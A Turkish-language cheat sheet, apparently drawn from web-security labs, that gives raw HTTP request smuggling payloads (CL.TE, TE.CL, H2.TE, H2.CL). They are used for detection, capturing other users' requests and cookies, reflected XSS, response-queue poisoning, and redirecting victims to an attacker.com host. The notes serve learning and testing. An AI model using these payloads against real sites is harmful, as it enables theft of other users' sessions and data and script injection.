HTTP Request Smuggling, bir web sitesinin bir veya daha fazla kullanıcıdan alınan HTTP istek dizilerini işleme biçimine müdahale etmeye yönelik bir tekniktir. Request Smuggling güvenlik açıkları genellikle kritik niteliktedir ve bir saldırganın güvenlik kontrollerini atlamasına, hassas verilere yetkisiz erişim elde etmesine ve diğer uygulama kullanıcılarını doğrudan tehlikeye atmasına olanak tanır.
Request Smuggling öncelikle HTTP/1 istekleri ile ilişkilidir. Bununla birlikte, HTTP/2'yi destekleyen web siteleri, back-end mimarilerine bağlı olarak savunmasız olabilir.
Yöntemler
CL.TE Zafiyetini Doğrulama
POST / HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 35
Transfer-Encoding: chunked
0
GET /404 HTTP/1.1
X-Ignore: X
TE.CL Zafiyetini Doğrulama
Otomatik CL kapatıyoruz.
4 = 5e nin uzunluğu
5e = Alttaki isteğin uzunluğunun hex değeri
15 = alttaki data 10 byte uzunluğunda bu yüzden 10'dan büyük herhangi bir değer
POST / HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
Transfer-Encoding: chunked
5e
POST /404 HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15
x=1
0
Search parametresinin değeri yansıdığı için bir sonraki isteğin yeniden yazılmadan önceki halini keşfedebiliyoruz.
POST / HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 124
Transfer-Encoding: chunked
0
POST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 200
Connection: close
search=test
CL.TE ile Diğer Kullanıcıların İsteklerini Çalma
Burada hedef kullanıcıya bir yorum isteği yolluyoruz. Hedef yorum isteğini gönderdiğinde yorumda kullanıcının isteğini görebiliyoruz. Bu yöntem ile çerezleri ele geçirebiliriz.
POST / HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 256
Transfer-Encoding: chunked
0
POST /post/comment HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 400
comment=test
CL.TE ile XSS Gönderme
POST / HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 130
Transfer-Encoding: chunked
0
GET /search HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 34
search=<script>alert(1)</script>
H2.TE ile Yanıt Sırası Zehirleme
Burada CL başlığı kullanmıyoruz. Her 404 aldığımızda 1 saniye bekleyip isteği yenilersek başka kullanıcıların yanıtlarını çalabiliriz.
Ayrıca ilk istek HTTP/2 ikinci istek HTTP/1.1 olmalı
POST /404 HTTP/2
Host: example.com
Content-Type: application/x-www-form-urlencoded
Transfer-Encoding: chunked
0
GET /404 HTTP/1.1
Host: 0a68003f04ab3a148099442f002100b5.web-security-academy.net
H2.CL ile Request Smuggling
Burada TE başlığı kullanmıyoruz. Burada hedefimizi kendi sitemize yönlendirip xss çalıştırabiliriz.
POST / HTTP/2
Host: example.com
Content-Length: 0
GET /resources HTTP/1.1
Host: attacker.com
Content-Length: 5
x=1